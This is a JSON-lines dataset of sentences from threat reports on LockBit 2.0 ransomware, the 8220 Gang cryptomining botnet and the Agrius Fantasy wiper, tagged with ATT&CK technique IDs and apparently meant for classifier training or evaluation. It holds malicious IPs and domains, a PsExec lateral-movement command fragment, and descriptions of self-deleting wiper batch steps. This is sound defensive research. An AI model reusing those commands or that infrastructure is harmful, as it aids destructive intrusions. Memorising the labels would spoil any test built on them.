{"sentence": "It can affect both Windows and Linux OS, as the operator released a Linux version of LockBit 2.0 to target VMware ESXi hypervisor systems in October 2021, coded exclusively in the C programming language.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit blog.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 management panel.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Source: ProDaft.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "No reliance on third-party cloud file-sharing services, where data can be easily removed if the victim submitted a complaint.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools. Figure 10.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 download speed, according to LockBit 2.0 operator.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 3.0 There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black. Figure 11.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit Black post-infection desktop wallpaper (Source: VX-underground).Courses of Action Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques: Product / Service Course of Action Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion The courses of action below mitigate the following techniques: Exploit Public-Facing Application", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1505.003], Exploitation for Privilege Escalation", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1068], Indicator Removal on Host [T1070], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1078], External Remote Services [T1133], Scheduled Task", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1053.005],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Group Policy Modification", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1484.001] THREAT PREVENTION Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use CORTEX XSOAR Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Impossible Traveler NEXT-GENERATION FIREWALLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure that the User-ID service account does not have interactive logon rights Define at least one 'Include Network'.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1555] CORTEX XDR PREVENT Enable Anti-Exploit Protection Enable Anti-Malware Protection Discovery The below courses of action mitigate the following techniques: Network Service Scanning [T1046],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1057], System Location Discovery", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1614], System Information Discovery [T1082] CORTEX XDR PREVENT Configure Behavioral Threat Protection under the Malware Security Profile NEXT-GENERATION FIREWALLS Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone CORTEX XSOAR Deploy XSOAR Playbook - Port Scan Lateral Movement The courses of action below mitigate the following techniques: Remote Services [T1021], SMB/Windows Admin Shares", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones CORTEX XSOAR Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Access Investigation Playbook Command and Control", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The courses of action below mitigate the following techniques: Data Transfer Size Limits", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Conclusion LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit’s continuation with operations and its next iteration coming up on the horizon means that organizations and their security teams need to stay vigilant in the ever-evolving threat landscape.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Cortex XDR: Identifies indicators associated with LockBit 2.0.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Anti-Ransomware Module to detect LockBit 2.0 encryption behaviors on Windows.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Local Analysis detection for LockBit 2.0 binaries on Windows.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Some key takeaways from the claims made in the interview were: The LockBit 2.0 threat actor claimed the group’s RaaS was unlikely to be rebranded since the team allegedly was a business that was honest with their customers – suggesting a supposed contrast between LockBit 2.0 and Avaddon, DarkSide and REvil affiliates.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit 2.0 ransomware disregarded keyboard layout, but it allegedly would not run on a host where the system language was set to any of the languages spoken in the Commonwealth of Independent States region.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The group did not devise attacks on companies of their choice; they simply worked with initial access to any corporate network they obtained elsewhere, since this was more profitable and saved time.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The team selected targets for ransomware attacks based on the company’s finances — the bigger, the better.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The location also did not matter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[Note that Unit 42 case data does include indications that threat actors using LockBit 2.0 have targeted healthcare organizations at times.]", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The threat actor claimed that the COVID-19 pandemic facilitated ransomware attacks significantly, saying it was easy to compromise home computers of employees who work remotely and use them as a springboard to access other networked systems.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Companies in Europe and the U.S. were hit with ransomware much more often than companies based in other countries allegedly because of high profit and insurance and not because of language barriers.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ransomware operators usually recruit negotiators, who coerce victims to pay ransom, since professional penetration testers allegedly lack the time for chatter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "8220 Gang is a low-skill crimeware actor known for infecting cloud hosts through n-day vulnerabilities and remote access brute forcing.", "labels": ["T1110"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Since our last write up in October, the group has again switched to new infrastructure and samples, providing us with an opportunity to share an educational walkthrough of the process of investigating cybercrime activity that may be useful to new or lesser experienced SOC teams, analysts and researchers.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Refresher on 8220 Gang 8220 Gang (pronounced eighty-two twenty), also known as 8220 Mining Group, was first publicly reported by Talos in 2018.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Attacks make use of SSH brute forcing post-infection to automate local and global spreading attempts.", "labels": ["T1110"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Victims using cloud infrastructure (AWS, Azure, GCP, Aliyun, QCloud) are often infected via publicly accessible hosts running Docker, Confluence, Apache WebLogic, and Redis.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Victims are not targeted geographically but simply identified by their internet accessibility.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Initial Discovery Our walkthrough starts with the initial discovery of an interesting script found on a compromised AWS machine with publicly available SSH service secured with weak credentials.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For readers not running a honeypot, this initial discovery could have also been observed in the monitoring of new files uploaded to file scanning services like VirusTotal or MalShare.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For those looking to monitor this group, international SSH honeypots plus VirusTotal YARA rules offer a reliable method of catching new activity as it occurs.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The script in question has the SHA1 a9da0947243333d95f84f6a0e37b9fc29b2fb054. 8220 Infection Script Snippet We can see it is quite simple in design and built around the process of downloading and setting persistence of some other file.", "labels": ["T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "With a few string pivots inside VT, or even a few Google searches, we can quickly discover the core functionality of the script has been widely reported on as it has been reused by many amateur cryptocurrency mining groups and opportunistic profit-seeking attackers.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Pivoting on part of the script’s content in VirusTotal Intelligence One example of such reporting is our July 2022 post on 8220 Gang expanding their botnet to roughly 30,000 hosts.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Remember, this “infection script” is used by many attackers, and it alone is a very weak source of attribution. 8220 Infection Script Analysis The script goes through a set of instructions, often at multiple levels of encoded commands, aimed at the delivery of setting persistence on the victim machine by downloading itself from malicious servers.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The multiple levels of Base64 encoding attempt to hide the fact that it is also downloading a specific payload as well.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "This is first observed under the createservices function.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infection Script createservices Function One difference that’s quickly apparent to past reporting on the script is that the attacker began adding the lwp-download command as a failover for wget and curl to enable downloading commands.", "labels": ["T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "We initially observed this activity on January 6th, and since then the actor has continued to standardize it in their infection scripts today.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Sysdig also noted this activity in a recent blog.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infection Script use of lwp-download The key take away from analyzing these infection scripts is noting unique additions, like lwp–download, combined with the destination of download requests.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "By clustering infection scripts based on function names and order, if the functions are called, and what infrastructure is associated, we can weed out the non-8220 Gang samples.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For example, in our infection scripts createservices makes use of three base64 encoded echo commands.", "labels": ["T1027"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Post-Infection Activity & Sample Pivots The post infection activity for this and other recent 8220 infection scripts evolve slightly, but generally proceed with infecting the victim with an updated PwnRig cryptocurrency miner and IRC bot.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "In the infection scripts we observed in this campaign, the group continued to use old bash IRC bot “Tsunami”.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "More useful for tracking 8220 Gang are the samples of PwnRig – the custom version of the open source XMRig cryptocurrency miner – that they drop.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "In this campaign, the script downloads the UPX packed sample 38be55f1fc4ce1cb5438236abc5077019e5e1cdf, which unpacks to 332485bd460f55117a254f8164736b90d74aa9f6.", "labels": ["T1027"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Here, we see this theme again through the use of the malicious domain fbi.su1001-2[.]top.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infrastructure Analysis Tracking 8220 Gang is aided somewhat by their failures in infrastructure OPSEC.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Since the beginning of what the industry calls “8220 Gang” the primary method of attribution has been reused infrastructure and identification of newly associated infrastructure.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "While this technique alone does not link the actor with certainty, it remains reliable when combined with the previously noted linkability around malware samples delivered.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Anyone looking into this group should pivot on all subdomains associated with the actor-controlled domain, in addition to all DNS history of malicious IPs to identify a wider set of the malicious activity.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For example, the recent dw.bpdeliver[.]ru host resolved to 79.137.203[.]156 during the initial deployment of the script.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "More activity of 8220 Gang scripts can be found calling directly to this IP rather than the domain.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The same goes for 185.106.94[.]146, which is called by IP in the script, and which at the time resolved to jira.letmaker.top, a widely reported known 8220 Gang domain.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Overall, the group is clumsy and unsophisticated in their infrastructure management, providing a good opportunity for those willing to track the mess or cut their teeth in threat actor investigation.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Visual Context of 8220 Gang Infrastructure Roles Conclusion Tracking and researching 8220 Gang, which has exhibited a lack of operational security, requires a simple understanding of their use of malicious scripts, malware samples, and malicious infrastructure.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "A successful approach to tracking this group can involve monitoring and analyzing malware samples, identifying patterns in their malicious scripts, and mapping out their infrastructure. Indicators of Compromise Indicator Description a9da0947243333d95f84f6a0e37b9fc29b2fb054 8220 Gang Install Script 472548a4b8295182f6ba8641d74725c2250b7243 8220 Gang Bashirc.x86_64 – PackedOld version, “Tsunami” 38be55f1fc4ce1cb5438236abc5077019e5e1cdf 8220 Gang X86_64 – Packed MinerUses fbi.su1001-2[.]top 332485bd460f55117a254f8164736b90d74aa9f6 e2c3e.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Unpacked, PwnRig Miner 194.38.23.170 8220 Gang Infrastructure – Shared jira.letmaker.top 8220 Gang Infrastructure – Reused 185.106.94.146 8220 Gang Infrastructure dw.bpdeliver.ru 8220 Gang Infrastructure – Recent fbi.su1001-2.top 8220 Gang Infrastructure – Recent 79.137.203.156 8220 Gang Infrastructure", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The group is known for its destructive operations.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "In February 2022, Agrius began targeting Israeli HR and IT consulting firms, and users of an Israeli software suite used in the diamond industry.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "We believe that Agrius operators conducted a supply-chain attack abusing the Israeli software developer to deploy their new wiper, Fantasy, and a new lateral movement and Fantasy execution tool, Sandals.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Instead, it goes right to work wiping data.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Victims were observed in South Africa – where reconnaissance began several weeks before Fantasy was deployed – Israel, and Hong Kong.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Key points of this blogpost: Agrius conducted a supply-chain attack abusing an Israeli software suite used in the diamond industry.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Victims include Israeli HR firms, IT consulting companies, and a diamond wholesaler; a South African organization working in the diamond industry; and a jeweler in Hong Kong.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Group overview Agrius is a newer Iran-aligned group targeting victims in Israel and the United Arab Emirates since 2020.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "The group initially deployed a wiper, Apostle, disguised as ransomware, but later modified Apostle into fully fledged ransomware.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Campaign overview On February 20th, 2022 at an organization in the diamond industry in South Africa, Agrius deployed credential harvesting tools, probably in preparation for this campaign.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Then, on March 12th, 2022, Agrius launched the wiping attack by deploying Fantasy and Sandals, first to the victim in South Africa and then to victims in Israel and lastly to a victim in Hong Kong.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Victims in Israel include an IT support services company, a diamond wholesaler, and an HR consulting firm.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "South African victims are from a single organization in the diamond industry, with the Hong Kong victim being a jeweler.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Victim timeline and locations", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "We observed the software developer pushing out clean updates within a matter of hours of the attack.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "We reached out to the software developer to notify them about a potential compromise, but our enquiries went unanswered.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Preparing for departure The first tools deployed by Agrius operators to victim systems, through means unknown, were: MiniDump, “a C# implementation of mimikatz/pypykatz minidump functionality to get credentials from LSASS dumps” SecretsDump, a Python script that “performs various techniques to dump hashes from [a] remote machine without executing any agent there” Host2IP, a custom C#/.NET tool that resolves a hostname to an IP address.", "labels": ["T1003.001", "T1033"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals: Igniting the Fantasy (wiper)", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals is a 32-bit Windows executable written in C#/.NET.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "It is used to connect to systems in the same network via SMB, to write a batch file to disk that executes the Fantasy wiper, and then run that batch file via PsExec with this command line string:", "labels": ["T1059.003", "T1570"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "PsExec.exe /accepteula -d -u “<username>”", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "-p “<password>”", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Run the remote process in the SYSTEM account.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals does not write the Fantasy wiper to remote systems.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "This assessment is based on several factors: all victims were customers of the affected software developer; the Fantasy wiper was named in a similar fashion to legitimate versions of the software; all victims executed the Fantasy wiper within a 2.5 hour timeframe, where victims in South Africa were targeted first, then victims in Israel, and finally victims in Hong Kong (we attribute the delay in targeting to time zone differences and a hardcoded check-in time within the legitimate software); and, lastly, the Fantasy wiper was written to, and executed from, %SYSTEM%\\Windows\\Temp, the default temp directory for Windows systems.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Additionally, we believe the victims were already using PsExec, and Agrius operators chose to use PsExec to blend into typical administrative activity on the victims’ machines, and for ease of batch file execution.", "labels": ["T1059.003"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals arguments and their descriptions ArgumentDescriptionRequired -f", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "A path and filename to a file that contains a list of hostnames that should be targeted.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "The username that will be used to log into the remote hostname(s) in argument -f.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Yes -d <path>", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Default location is %WINDOWS%\\Temp.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "No -s", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "The amount of time, in seconds, that Sandals will sleep between writing the batch file to disk and executing.", "labels": ["T1059.003"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "The default is two seconds.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "No -a file <filepath> or-a random or-a rsaIf -a is followed by the word file and a path and filename, Sandals uses the encryption key in the supplied file.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "If -a is followed by rsa or random, Sandals uses the RSACryptoServiceProvider class to generate a public-private key pair with a key size of 2,048.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "No -dn <devicename>Specifies which drive to connect with on a remote system over SMB.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Default is C:.No -ps <filepath>Location of PsExec on disk.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "If flag=False, Sandals skips the file cleanup step.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "No The batch file written to disk by Sandals is named <GUID>.bat, where the filename is the output of the Guid.", "labels": ["T1059.003"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals batch file (top, in red) and the decoded command line parameter (bottom, in blue)", "labels": ["T1027", "T1140"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Fantasy wiper The Fantasy wiper is also a 32-bit Windows executable written in C#/.NET, so named for its filenames: fantasy45.exe and fantasy35.exe, respectively.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Figure 3 depicts the execution flow of the Fantasy wiper.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Fantasy wiper execution flow Initially, Fantasy creates a mutex to ensure that only one instance is running.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "It collects a list of fixed drives but excludes the drive where the %WINDOWS% directory exists.", "labels": ["T1083"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Then it enters a for loop iterating over the drive list to build a recursive directory listing, and uses the RNGCryptoServiceProvider.", "labels": ["T1083"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "GetBytes method to create a cryptographically strong sequence of random values in a 4096-byte array.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "If a runtime argument of 411 is supplied to the wiper, the for loop overwrites the contents of every file with the aforementioned byte array using a nested while loop.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Otherwise, the for loop only overwrites files with a file extension listed in the Appendix.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Fantasy then assigns a specific timestamp (2037-01-01 00:00:00) to these file timestamp properties: CreationTime LastAccessTime LastWriteTime CreationTimeUtc SetLastAccessTimeUtc LastWriteTimeUtc and then deletes the file.", "labels": ["T1070.004"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "This is presumably done to make recovery and forensic analysis more difficult.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "During the for loop, the Fantasy wiper counts errors within the current directory when attempting to overwrite files.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "If the number of errors exceeds 50, it writes a batch file, %WINDOWS%\\Temp\\<GUID>.bat, that deletes the directory with the files causing the errors, and then self-deletes.", "labels": ["T1027", "T1059.003", "T1070.004"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "File wiping then resumes in the next directory in the target list.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Once the for loop completes, the Fantasy wiper creates a batch file in %WINDOWS%\\Temp called registry.bat.", "labels": ["T1059.003", "T1112"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "%windir%\\system32\\rundll32.exe advapi32.dll,ProcessIdleTasks Lastly, registry.bat deletes itself (del %0).", "labels": ["T1027", "T1218.011"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Next, the Fantasy wiper clears all Windows event logs and creates another batch file, system.bat, in %WINDOWS%\\Temp, that recursively deletes all files on %SYSTEMDRIVE%, attempts to clear file system cache memory, and self-deletes.", "labels": ["T1027", "T1059.003", "T1070.004"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
